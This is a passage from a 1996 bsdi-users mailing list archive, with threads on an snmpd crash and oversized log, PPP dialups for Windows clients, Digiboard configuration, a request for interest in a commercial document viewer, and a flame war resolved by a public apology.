MESSAGE----- G'day, This is not a commercial plug, really. I am having a tough time convincing the marketing and sales folks in this company of mine, to spend some R&D on creating a DP (portable electronic document format) viewer for BSD/OS platform. Their reason, as any company, is that they have not received enough feedback that people need such a product for BSD/OS. Without interest from corporate folks who are using BSD/OS, I'm unable to justify the need to make a version for the BSD/OS. This is where you may be able to help, please visit our web site on http://www.hummingbird.com/cg and see for yourself if it is in fact worth the effort to invest on making a BSD/OS miniviewer. I certainly think it is. Please forward all of your comments to sales@hcl.com or reply to myself. Your input in this matter is much appreciated. Thanks in advance! -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: PGP Signed with PineSign 2.2 iQCVAwUBMolyanxEb2Ntub0NAQEuQgQAjsKFDtFfop7/HWDO1ydoPKoucWPMu/MC PMfMQ9g5XuH5buBIRG9JR/CudKGQUF2Dc/qINY9QYcDMskFJquln0t/l3jG7agUr Cv2D0lz0nWKvF8zjUbHsh/FQcntS/zNvhAOGx+iIPOX8Coo5eGyZHbXX2kRyundB /urpwaLewE8= =sNIr -----END PGP SIGNATURE----- --- Rudy Amid (rudy@hcl.com), Systems "I'm IT!" Administrator NB: IMHO! >/` Hummingbird Communications, Ltd. 1 Sparks Ave. Toronto, Ont. __ " Canada. M2H 2W1. 416-496-2200 Fax 496-2207 [URL] http://www.hcl.com | PGP key fingerprint is on my home page at http://www.warped.com/~radix \_) From VM Wed Nov 13 22:18:09 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["474" "Wed" "13" "November" "1996" "09:42:51" "-0500" "Bill Hamel" "bill@hamel.net" nil "18" "snmpd.log size=77309411412 HUH?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA21996 for ; Wed, 13 Nov 1996 09:51:01 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id JAA11630 for bsdi-users-outgoing; Wed, 13 Nov 1996 09:45:00 -0500 (EST) Message-Id: <3.0b28.32.19961113094251.006f71ec@chesco.com> X-Sender: billh@chesco.com X-Mailer: Windows Eudora Pro Version 3.0b28 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Bill Hamel Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: snmpd.log size=77309411412 HUH? Date: Wed, 13 Nov 1996 09:42:51 -0500 -rw-rw-rw- 1 root wheel 77309411412 Nov 13 09:32 snmpd.log Hello All, I was curious if anyone is running the bsd 2.1 snmpd. This is the log file entry it creates which is definately wrong. When I called BSDI with my support number it was explained that this is contributed software and they do not support it :( a. Is there a way to fix this? b. Is there a more stable snmp daemon that anyone might suggest? Thank you in advance for any help. Regards, Bill Hamel From VM Wed Nov 13 22:18:14 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1768" "Wed" "13" "November" "1996" "00:27:17" "-0500" "support@net-gate.com" "support@net-gate.com" nil "46" "Re:PPP + Client Dialups" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA22845 for ; Wed, 13 Nov 1996 10:28:40 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id KAA11682 for bsdi-users-outgoing; Wed, 13 Nov 1996 10:24:18 -0500 (EST) Message-Id: <199611130527.AAA09458@ns1.net-gate.com> X-Sender: support@net-gate.com X-Mailer: Windows Eudora Version 1.4.3 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: support@net-gate.com Sender: owner-bsdi-users@lists.gateway.com To: internex@pcrealm.com Cc: bsdi-users@BSDI.COM Subject: Re:PPP + Client Dialups Date: Wed, 13 Nov 1996 00:27:17 -0500 (EST) I've just developed an installation disk, that the Win95 customer just has to run a setup.exe program, which will in turn create the Dial-up networking connection with any appropriate information, as well as installing the Dial-up scripting program, and a script if it is needed. Or were you looking for a hardware soltion? If anyone's interested, e-mail me privately. Thanks. Larry sysop@net-gate.com >From: "System Administrator - Greg Wiktor" >To: "bsdi-users@bsdi.com" >Date: Mon, 11 Nov 96 22:16:38 >Reply-To: "System Administrator - Greg Wiktor" >Subject: PPP + Client Dialups >Sender: owner-bsdi-users@lists.gateway.com >Precedence: bulk > >Hello everone, I was just wondering... Is there any way to have PPP on BSDi 2.1 work better with >Windows PPP Users? right now we have an NT machine taking care of all of our normal dialups, >but I would much rather use BSDi, except that Windows machines do not work correctly at dialing >up unless scripts are made... is there any way to make it so windows machines connect more >easily? > >Thanks for any input... > >Greg Wiktor Senior System Administrator >_____________________________________________________________________ >Advantech PC Realm Internet Services (WWW.PCREALM.NET) >60 Welcher Avenue >Peekskill, NY 10566 >Tel: 914-736-7300 Fax: 914-736-7024 >E-Mail: > INTERNEX@PCREALM.NET (PRIMARY) > INTERNEX@ADVINC.COM > INTERNEX@LANLINE.COM >______________________________________________________________________ >-IBM BesTeam Member, TeamOS2 Member, IBM Corp. Reseller, Intel Reseller- > > From VM Wed Nov 13 22:18:28 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1214" "Wed" "13" "November" "1996" "11:40:21" "-0500" "Mike Pelletier" "mikep@comshare.com" nil "24" "Re: How to generate interest" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA25356 for ; Wed, 13 Nov 1996 11:58:42 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA11915 for bsdi-users-outgoing; Wed, 13 Nov 1996 11:40:50 -0500 (EST) Posted-Date: Wed, 13 Nov 1996 11:40:22 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Mike Pelletier Sender: owner-bsdi-users@lists.gateway.com To: Rudy Amid cc: bsdi-users@BSDI.COM Subject: Re: How to generate interest Date: Wed, 13 Nov 1996 11:40:21 -0500 (EST) On Wed, 13 Nov 1996, Rudy Amid wrote: > This is not a commercial plug, really. I am having a tough time convincing > the marketing and sales folks in this company of mine, to spend some R&D > on creating a DP (portable electronic document format) viewer for BSD/OS > platform. Their reason, as any company, is that they have not received > enough feedback that people need such a product for BSD/OS. > Without interest from corporate folks who are using BSD/OS, I'm unable > to justify the need to make a version for the BSD/OS. This is where you > may be able to help, please visit our web site on > http://www.hummingbird.com/cg and see for yourself if it is in fact worth > the effort to invest on making a BSD/OS miniviewer. I certainly think it is. > Please forward all of your comments to sales@hcl.com or reply to myself. > Your input in this matter is much appreciated. Oh, definitely, this would be a major boon. I can't tell you how many times I've had to try to deal with e-mail attachments, FTP files, Usenet posts, etc containing word-processor files, odd little bitmap formats, and so on from the PC realm. A simple, easy-to-use document viewer would be a major benefit. -Mike Pelletier. From VM Wed Nov 13 22:18:31 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["759" "Wed" "13" "November" "1996" "12:08:14" "-0500" "Kevin U. Hill" "kuh@naples.net" nil "22" "Re: Andrew Longsworth andrew@industries.net has a strange view of \"MUCH\".." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA25641 for ; Wed, 13 Nov 1996 12:13:37 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA11975 for bsdi-users-outgoing; Wed, 13 Nov 1996 12:09:06 -0500 (EST) Message-Id: <2.2.32.19961113170814.0086e738@gator.naples.net> X-Sender: kuh@gator.naples.net X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: "Kevin U. Hill" Sender: owner-bsdi-users@lists.gateway.com To: "Jacob M. Parnas" Cc: bsdi-users@BSDI.COM Subject: Re: Andrew Longsworth andrew@industries.net has a strange view of "MUCH".. Date: Wed, 13 Nov 1996 12:08:14 -0500 At 12:50 AM 11/13/96 -0500, Jacob M. Parnas wrote: >You try to help someone and you get insulted. Something's wrong with this >list's additude. Oh, c'mon Jacob! When someone incorrectly questions a solution, just show them why their assumption is wrong. The first part of your post was helpful. The last part was a whining tirade. If anyone else would like to join "The Coalition to Ban the Easily Offended", I'm taking applications. - Kevin ____________________________________________________ k e v i n u. h i l l | kuh@naples.net livestock agent - collier | university of florida tech committee chair | naples free-net http://www.naples.net/~kuh/ ---------------------------------------------------- From VM Wed Nov 13 22:18:51 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2090" "Wed" "13" "November" "1996" "15:31:38" "-0500" "Jacob M. Parnas" "jparnas@jparnas.cybercom.net" nil "53" "Re: Andrew Longsworth andrew@industries.net has a strange view of \"MUCH\".. " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA01801 for ; Wed, 13 Nov 1996 15:57:11 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA12361 for bsdi-users-outgoing; Wed, 13 Nov 1996 15:32:12 -0500 (EST) Message-Id: <199611132031.PAA18057@jparnas.cybercom.net> X-Authentication-Warning: jparnas.cybercom.net: Host localhost.cybercom.net didn't use HELO protocol X-External-Networks: yes In-reply-to: Your message of Wed, 13 Nov 1996 12:08:14 EST. <2.2.32.19961113170814.0086e738@gator.naples.net> Precedence: bulk From: "Jacob M. Parnas" Sender: owner-bsdi-users@lists.gateway.com To: "Kevin U. Hill" cc: bsdi-users@BSDI.COM Subject: Re: Andrew Longsworth andrew@industries.net has a strange view of "MUCH".. Date: Wed, 13 Nov 1996 15:31:38 -0500 If I try to help someone out with no reason to think it would be rewarded and people start insulting you, that's wrong, especially when the insults are based on misunderstanding. I have better things to do with my time than spend time trying to help people and get insulted for my trouble. Now you want to ban me? How about having a list where people treat eachother with respect and dignity and try to help eachother as colleagues instead of trying to shoot down someone's idea when they are only trying to help? Maybe someone could start bsdi-friendly or something. I'm serious. This list is turning sour. As for banning, why not just put someone who's messages you don't want to see in your ignore list or just skip their messages instead of trashing their freedom of speech and ability to read a mailing list. Jacob ---- In message <2.2.32.19961113170814.0086e738@gator.naples.net>you write: >At 12:50 AM 11/13/96 -0500, Jacob M. Parnas wrote: >>You try to help someone and you get insulted. Something's wrong with this >>list's additude. > >Oh, c'mon Jacob! > >When someone incorrectly questions a solution, just show them why their >assumption is wrong. The first part of your post was helpful. The last part >was a whining tirade. > >If anyone else would like to join "The Coalition to Ban the Easily >Offended", I'm taking applications. > > - Kevin >____________________________________________________ > k e v i n u. h i l l | kuh@naples.net >livestock agent - collier | university of florida > tech committee chair | naples free-net > http://www.naples.net/~kuh/ >---------------------------------------------------- > > ------------------------------------------------------------------------------ | Jacob M. Parnas | | IBM Thomas J. Watson Research Ctr. | | Internet: jparnas@jparnas.cybercom.net | ------------------------------------------------------------------------------ From VM Wed Nov 13 22:19:04 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["570" "Wed" "13" "November" "1996" "15:22:27" "-0800" "root@internet-frontier.net" "root@internet-frontier.net" nil "20" "Re: snmpd.log size=77309411412 HUH?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA02964 for ; Wed, 13 Nov 1996 16:44:21 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA12419 for bsdi-users-outgoing; Wed, 13 Nov 1996 16:13:13 -0500 (EST) In-Reply-To: <3.0b28.32.19961113094251.006f71ec@chesco.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Amy Sender: owner-bsdi-users@lists.gateway.com To: Bill Hamel cc: bsdi-users@BSDI.COM Subject: Re: snmpd.log size=77309411412 HUH? Date: Wed, 13 Nov 1996 15:22:27 -0800 (PST) > -rw-rw-rw- 1 root wheel 77309411412 Nov 13 09:32 snmpd.log > > Hello All, > > I was curious if anyone is running the bsd 2.1 snmpd. > > This is the log file entry it creates which is definately wrong. When I > called BSDI with my support number it was explained that this is > contributed software and they do not support it :( > > a. Is there a way to fix this? > b. Is there a more stable snmp daemon that anyone might suggest? First, it shouldn't be world writable. Not a good idea for log files. Why not make the file a sym link to /dev/null ? Amy :) From VM Wed Nov 13 22:19:05 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1155" "Wed" "13" "November" "1996" "16:35:03" "-0500" "Bill Hamel" "bill@hamel.net" nil "43" "Re: snmpd.log size=77309411412 HUH?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA03246 for ; Wed, 13 Nov 1996 16:52:08 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA12517 for bsdi-users-outgoing; Wed, 13 Nov 1996 16:39:38 -0500 (EST) Message-Id: <3.0b28.32.19961113163503.00c6a538@chesco.com> X-Sender: billh@chesco.com X-Mailer: Windows Eudora Pro Version 3.0b28 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Bill Hamel Sender: owner-bsdi-users@lists.gateway.com To: Amy Cc: bsdi-users@BSDI.COM Subject: Re: snmpd.log size=77309411412 HUH? Date: Wed, 13 Nov 1996 16:35:03 -0500 Hi Amy, Thanks for the response. Actually the out of the box rc.local that came with 2.x of BSDI has this line to comment out. # echo -n " snmpd"; /usr/contrib/isode/sbin/snmpd -t >/dev/null 2>&1 & The REAL BAD thing about this is that when un commented *OR* running it directly from a prompt yields the 'syncing disks 3 3 3 3 3 3 3 3 giving up: page fault' and reboots the system - nice eh...? Are you running snmpd ? If so what command line do you use to start it? Thank you in advance. Regards, Bill Hamel At 03:22 PM 11/13/96 -0800, Amy wrote: > >> -rw-rw-rw- 1 root wheel 77309411412 Nov 13 09:32 snmpd.log >> >> Hello All, >> >> I was curious if anyone is running the bsd 2.1 snmpd. >> >> This is the log file entry it creates which is definately wrong. When I >> called BSDI with my support number it was explained that this is >> contributed software and they do not support it :( >> >> a. Is there a way to fix this? >> b. Is there a more stable snmp daemon that anyone might suggest? > >First, it shouldn't be world writable. Not a good idea for log files. > >Why not make the file a sym link to /dev/null ? > >Amy :) > > From VM Wed Nov 13 22:19:17 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["598" "Wed" "13" "November" "1996" "14:46:55" "-0800" "Andrew Longsworth" "andrew@industries.net" nil "15" "Re: Andrew has a strange view of \"MUCH\".." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA04938 for ; Wed, 13 Nov 1996 17:56:06 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id RAA12667 for bsdi-users-outgoing; Wed, 13 Nov 1996 17:48:10 -0500 (EST) Message-Id: In-Reply-To: <199611132031.PAA18057@jparnas.cybercom.net> References: Your message of Wed, 13 Nov 1996 12:08:14 EST. <2.2.32.19961113170814.0086e738@gator.naples.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Andrew Longsworth Sender: owner-bsdi-users@lists.gateway.com To: "Jacob M. Parnas" Cc: bsdi-users@BSDI.COM Subject: Re: Andrew has a strange view of "MUCH".. Date: Wed, 13 Nov 1996 14:46:55 -0800 I would like to publically apologize for my arrogant message to Jacob. He was very kind to propose a solution without any expectation of reward, and instead of thanking him for his kindly gesture, I slapped it back into his face. I did not logically look at the actual facts of the situation, and critically analyze the information. I hope that everyone on this list will consider my rudeness a one of a kind occurence that will not happen again. Generosity and politeness really do need to start with the individual and I promise that is all you will see from me. Thanks for reading.. Andrew From VM Wed Nov 13 22:19:26 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1614" "Wed" "13" "November" "1996" "18:36:00" "EST" "Richard Noel" "richard.noel@wang.com" nil "66" "RE: snmpd.log size=77309411412 HUH?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA06323 for ; Wed, 13 Nov 1996 18:42:50 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id SAA12836 for bsdi-users-outgoing; Wed, 13 Nov 1996 18:34:58 -0500 (EST) Message-ID: <328A5C25@SMTPGTWY.WANG.COM> X-Mailer: Microsoft Mail V3.0 Precedence: bulk From: "Noel, Richard" Sender: owner-bsdi-users@lists.gateway.com To: "'bsdi-users@gateway.com'" Subject: RE: snmpd.log size=77309411412 HUH? Date: Wed, 13 Nov 96 18:36:00 EST Hello Bill, I have the following in rc.local on quite a few machines which are running 2.0.1 and have had no problems: echo -n " snmpd"; /usr/contrib/isode/sbin/snmpd -t >/dev/null 2>&1 & It appears to be identical to yours ... Richard noel@wang.com ---------- From: owner-bsdi-users[SMTP:owner-bsdi-users@lists.gateway.com] Sent: Wednesday, November 13, 1996 4:35 PM To: Amy Cc: bsdi-users Subject: Re: snmpd.log size=77309411412 HUH? Hi Amy, Thanks for the response. Actually the out of the box rc.local that came with 2.x of BSDI has this line to comment out. # echo -n " snmpd"; /usr/contrib/isode/sbin/snmpd -t >/dev/null 2>&1 & The REAL BAD thing about this is that when un commented *OR* running it directly from a prompt yields the 'syncing disks 3 3 3 3 3 3 3 3 giving up: page fault' and reboots the system - nice eh...? Are you running snmpd ? If so what command line do you use to start it? Thank you in advance. Regards, Bill Hamel At 03:22 PM 11/13/96 -0800, Amy wrote: > >> -rw-rw-rw- 1 root wheel 77309411412 Nov 13 09:32 snmpd.log >> >> Hello All, >> >> I was curious if anyone is running the bsd 2.1 snmpd. >> >> This is the log file entry it creates which is definately wrong. When I >> called BSDI with my support number it was explained that this is >> contributed software and they do not support it :( >> >> a. Is there a way to fix this? >> b. Is there a more stable snmp daemon that anyone might suggest? > >First, it shouldn't be world writable. Not a good idea for log files. > >Why not make the file a sym link to /dev/null ? > >Amy :) > > From VM Wed Nov 13 22:19:33 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["472" "Wed" "13" "November" "1996" "16:50:35" "-0800" "Armando Escalante" "armando@tio.com" nil "20" "Exchange test shell account?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA07980 for ; Wed, 13 Nov 1996 19:45:08 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA12967 for bsdi-users-outgoing; Wed, 13 Nov 1996 19:41:11 -0500 (EST) In-Reply-To: <199611130355.VAA02906@frshaire.wiz.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Armando Escalante Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM cc: Armando Escalante Subject: Exchange test shell account? Date: Wed, 13 Nov 1996 16:50:35 -0800 (PST) Hi All, Would anyone be interested in exchanging a BSDI shell account? I currently have a shell account with Netcom and would like to save me the $19/mo it's costing me, besides, they use SUN... I only need and would give a telnet enduser shell account, with access to traceroute, etc. A simple end user account with 1 MB space max. This would be used for testing MY site from your site. If anyone is interested, please email me directly. Thanks armando@tio.com From VM Wed Nov 13 22:19:34 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1513" "Wed" "13" "November" "1996" "19:43:52" "-0500" "Jacob M. Parnas" "jparnas@jparnas.cybercom.net" nil "28" "Thanks, Andrew, for making bsdi-users a nicer place to visit..." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA07985 for ; Wed, 13 Nov 1996 19:45:28 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA12978 for bsdi-users-outgoing; Wed, 13 Nov 1996 19:44:25 -0500 (EST) Message-Id: <199611140043.TAA18755@jparnas.cybercom.net> X-Authentication-Warning: jparnas.cybercom.net: Host localhost.cybercom.net didn't use HELO protocol X-External-Networks: yes In-reply-to: Your message of Wed, 13 Nov 1996 14:46:55 PST. Precedence: bulk From: "Jacob M. Parnas" Sender: owner-bsdi-users@lists.gateway.com To: Andrew Longsworth cc: bsdi-users@BSDI.COM Subject: Thanks, Andrew, for making bsdi-users a nicer place to visit... Date: Wed, 13 Nov 1996 19:43:52 -0500 Thank you very much for your kind note. I had a bad day and probably overreated about this minor incident. I appreciate you empathy for my situation and feelings and hope we can be friends. We all make mistakes (I certainly make my share). I hope we can work together in the future and start from scratch. I admire you a great deal for being able to objectively look at your actions in the past and reevaluate whether they were optimum. That's a rare and very special, honorable and much too rarely used ability that the world needs more such people, in my opinion. Thanks, Andrew, for being a role model to us all. I think if we follow Andrew's lead we can make this mailing list a much more friendly and productive area to help eachother in. Most sincerely, Jacob Parnas ----------------------------------------------------------- In message you write: >I would like to publically apologize for my arrogant message to Jacob. He >was very kind to propose a solution without any expectation of reward, and >instead of thanking him for his kindly gesture, I slapped it back into his >face. I did not logically look at the actual facts of the situation, and >critically analyze the information. I hope that everyone on this list will >consider my rudeness a one of a kind occurence that will not happen again. >Generosity and politeness really do need to start with the individual and I >promise that is all you will see from me. > >Thanks for reading.. > >Andrew From VM Wed Nov 13 22:19:39 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["284" "Wed" "13" "November" "1996" "20:22:17" "-0500" "Roch Pageau" "rpageau@inexpress.net" nil "17" "Boot errors" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA09088 for ; Wed, 13 Nov 1996 20:30:19 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id UAA13112 for bsdi-users-outgoing; Wed, 13 Nov 1996 20:24:17 -0500 (EST) Message-Id: <1.5.4.32.19961114012217.008bd68c@204.101.127.2> X-Sender: rpageau@204.101.127.2 X-Mailer: Windows Eudora Light Version 1.5.4 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Roch Pageau Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Boot errors Date: Wed, 13 Nov 1996 20:22:17 -0500 Here are some errors I saw when I booted up my machine the other day. Does this mean anything to someone and is it a problem. netsat:kvm_read kvm_read : Bad address netsat:kvm_read kvm_read : Bad address Any ideas appreciated????? Thanks Roch From VM Fri Nov 15 00:54:32 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2016" "Thu" "14" "November" "1996" "00:05:23" "-0500" "Bill Hamel" "bill@hamel.net" nil "82" "RE: snmpd.log size=77309411412 HUH?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA15166 for ; Thu, 14 Nov 1996 00:13:15 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id AAA13642 for bsdi-users-outgoing; Thu, 14 Nov 1996 00:08:29 -0500 (EST) Message-Id: <3.0b28.32.19961114000522.006f3334@chesco.com> X-Sender: billh@chesco.com X-Mailer: Windows Eudora Pro Version 3.0b28 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Bill Hamel Sender: owner-bsdi-users@lists.gateway.com To: "Noel, Richard" , "'bsdi-users@gateway.com'" Subject: RE: snmpd.log size=77309411412 HUH? Date: Thu, 14 Nov 1996 00:05:23 -0500 Hello Richard, Interesting! As of now I can't think why this system throws a page fault with that command line - but it does. It did with 2.0.1 and still with 2.1 I am running an i386 kernel here - what sort of hardware are you running it on? Thank you in advance, Bill Hamel CCIS At 06:36 PM 11/13/96 EST, Noel, Richard wrote: > >Hello Bill, >I have the following in rc.local on quite a few machines which >are running 2.0.1 and have had no problems: > >echo -n " snmpd"; /usr/contrib/isode/sbin/snmpd -t >/dev/null 2>&1 & > >It appears to be identical to yours ... > >Richard >noel@wang.com > > ---------- >From: owner-bsdi-users[SMTP:owner-bsdi-users@lists.gateway.com] >Sent: Wednesday, November 13, 1996 4:35 PM >To: Amy >Cc: bsdi-users >Subject: Re: snmpd.log size=77309411412 HUH? > >Hi Amy, > >Thanks for the response. Actually the out of the box rc.local that came >with 2.x of BSDI has this line to comment out. > ># echo -n " snmpd"; /usr/contrib/isode/sbin/snmpd -t >/dev/null 2>&1 >& > >The REAL BAD thing about this is that when un commented *OR* running it >directly from a prompt yields the 'syncing disks 3 3 3 3 3 3 3 3 giving >up: >page fault' and reboots the system - nice eh...? > >Are you running snmpd ? If so what command line do you use to start it? > >Thank you in advance. > >Regards, >Bill Hamel > > > >At 03:22 PM 11/13/96 -0800, Amy wrote: >> >>> -rw-rw-rw- 1 root wheel 77309411412 Nov 13 09:32 snmpd.log >>> >>> Hello All, >>> >>> I was curious if anyone is running the bsd 2.1 snmpd. >>> >>> This is the log file entry it creates which is definately wrong. When >I >>> called BSDI with my support number it was explained that this is >>> contributed software and they do not support it :( >>> >>> a. Is there a way to fix this? >>> b. Is there a more stable snmp daemon that anyone might suggest? >> >>First, it shouldn't be world writable. Not a good idea for log files. >> >>Why not make the file a sym link to /dev/null ? >> >>Amy :) >> >> > > > From VM Fri Nov 15 00:54:37 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["806" "Thu" "14" "November" "1996" "00:22:47" "-0500" "Brian Backer" "bbacker@blink.net" nil "28" "Re: Digiboard Configuration " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA15468 for ; Thu, 14 Nov 1996 00:29:03 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id AAA13705 for bsdi-users-outgoing; Thu, 14 Nov 1996 00:30:22 -0500 (EST) In-Reply-To: <199611122308.SAA15214@eagle.ictech.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Brian Backer Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Digiboard Configuration Date: Thu, 14 Nov 1996 00:22:47 -0500 (EST) One problem you may wish to correct is that with 2.1 you dont use digisetup. you use rc.hardware. What else are you trying to do and what is the problem? On Tue, 12 Nov 1996, Bill Warner wrote: > Chris McGlasson writes: > >Ok. I have a digi 16EM digiboard and card. I have configured my > >/sys/i386/conf/LOCAL file to read the correct port and io address and > >recompiled. > > > >I have put the following command into my /etc/rc.local directory: > >/usr/sbin/digisetup -l 16 /dev/ttyA00 > > > >and my devices all appear in my /etc/ttys directory: > >ttyA00 "/usr/libexec/gety bidir.38400-hf" vt 100 on. > > > >What the heck am I leaving out? I am running BSD 2.1. Any information > >would be greatly appreciated. Thanks in advance. > > Ummmmm, Chris. What's the problem? > > Bill > From VM Fri Nov 15 00:54:40 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["771" "Thu" "14" "November" "1996" "01:03:26" "-0500" "Bill Warner" "lww@ictech.com" nil "23" "Re: Digiboard Configuration " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id BAA16555 for ; Thu, 14 Nov 1996 01:04:58 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id BAA13792 for bsdi-users-outgoing; Thu, 14 Nov 1996 01:03:49 -0500 (EST) Message-Id: <3.0.32.19961114010322.00692ea8@pop.ictech.com> X-Sender: lww@pop.ictech.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Bill Warner Sender: owner-bsdi-users@lists.gateway.com To: Brian Backer Cc: bsdi-users@BSDI.COM Subject: Re: Digiboard Configuration Date: Thu, 14 Nov 1996 01:03:26 -0500 At 12:22 AM 11/14/96 -0500, Brian Backer wrote: > > >One problem you may wish to correct is that with 2.1 you dont use >digisetup. you use rc.hardware. What else are you trying to do and what >is the problem? Brian, You're right, on 2.1 you really should use the rc.hardware mechanism. Ultimately though, rc.hardware just provides a fancy way to run digisetup. So, as long as your sure that you do things in the right order the result should be the same as running digisetup "by hand" in rc.local. The problem is though, if you don't shuffle things around you may end up with something trying to use the digi before it is setup, which is not a good thing. So Chris, if you are still with us, you might want to switch to using rc.hardware to run digisetup. Bill From VM Fri Nov 15 00:54:46 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["267" "Thu" "14" "November" "1996" "09:03:03" "+0000" "admin@delhi.globemail.com" "admin@delhi.globemail.com" nil "15" "Dailup PPP connex" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id BAA16859 for ; Thu, 14 Nov 1996 